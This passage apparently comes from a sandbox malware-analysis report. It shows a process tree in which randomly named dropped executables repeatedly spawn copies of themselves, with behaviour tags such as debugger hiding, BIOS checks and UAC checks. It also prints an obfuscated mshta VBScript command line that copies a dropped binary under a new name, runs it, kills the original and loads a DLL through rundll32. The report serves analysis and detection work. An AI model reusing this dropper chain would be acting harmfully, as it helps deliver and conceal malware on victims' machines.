C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7612
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:3068
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:8480
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9128
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9820
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10508
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9464
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:792
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9288
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:1680
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5108
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9628
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9168
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5136
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10580
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:11980
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:11504
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7692
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:1912
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:9800
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:13016
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:12380
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10344
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:12640
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:4972
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5068
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:804
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:13220
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:14356
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:14636
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10380
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:11124
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10660
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:15596
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:2888
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:1176
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:16088
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:12188
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:17540
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:16836
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:19228
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:17944
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:13864
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:18416
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:10264
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:21040
-
-
-
C:\Users\Admin\Documents\vMliubuLWmHU_Egh64aRJygt.exe"C:\Users\Admin\Documents\vMliubuLWmHU_Egh64aRJygt.exe"2⤵
- Executes dropped EXE
PID:2776 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2776 -s 2763⤵
- Program crash
PID:2336
-
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe"C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4440 -
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵
- Executes dropped EXE
PID:1216
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵
- Executes dropped EXE
PID:5640
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:5612
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5004
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:1072
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:2160
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:3116
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6324
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6696
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:1696
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:2384
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:748
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:4716
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6204
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6768
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8272
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:5512
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:2912
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8636
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8768
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:676
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:9404
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:7072
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:10852
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:10788
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6624
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:7816
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:11520
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:5708
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:5924
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:11392
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13248
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:6692
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13596
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8084
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13680
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8400
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13460
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8708
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13332
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13388
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:15004
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:15084
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:12676
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:9816
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:8948
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:14016
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:15576
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:12820
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13072
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13412
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:19848
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:16568
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:13704
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:15756
-
-
C:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exeC:\Users\Admin\Documents\rwxwxwueOhzzCa3Whq6xbAzE.exe3⤵PID:19708
-
-
-
C:\Users\Admin\Documents\01Vr4ypklmEXrPm2DwRnQojp.exe"C:\Users\Admin\Documents\01Vr4ypklmEXrPm2DwRnQojp.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3028
-
-
C:\Users\Admin\Documents\FGSrq8D_cmnVT5vvnwNZvPbp.exe"C:\Users\Admin\Documents\FGSrq8D_cmnVT5vvnwNZvPbp.exe"2⤵
- Executes dropped EXE
PID:2968 -
C:\Users\Admin\Documents\FGSrq8D_cmnVT5vvnwNZvPbp.exe"C:\Users\Admin\Documents\FGSrq8D_cmnVT5vvnwNZvPbp.exe"3⤵PID:6112
-
-
-
C:\Users\Admin\Documents\gGAYMSq0etjMtxtuQ0YJwWZF.exe"C:\Users\Admin\Documents\gGAYMSq0etjMtxtuQ0YJwWZF.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2440
-
-
C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe"C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe"2⤵
- Executes dropped EXE
PID:2380 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))3⤵PID:1704
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\RpxnR_WSuBhXwjlPVDEwWcBq.exe" ) do taskkill /iM "%~NXm" -F4⤵PID:988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "RpxnR_WSuBhXwjlPVDEwWcBq.exe" -F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3084
-
-
C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXEIQ0v_FE_.ExE -poRsuYEMryiLi5⤵
- Executes dropped EXE
PID:6020 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh6⤵PID:5876
-
-
-
-
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe"C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:556 -
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵
- Executes dropped EXE
PID:780
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5672
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:2468
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5760
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5636
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5480
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5372
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6004
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:1936
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6464
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5084
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5396
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6500
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5060
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6576
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6500
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7844
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3304
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6192
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7996
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:2488
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3468
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6568
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5276
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:9120
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:8372
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7868
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5188
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:2296
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3456
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3580
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:8828
-
-
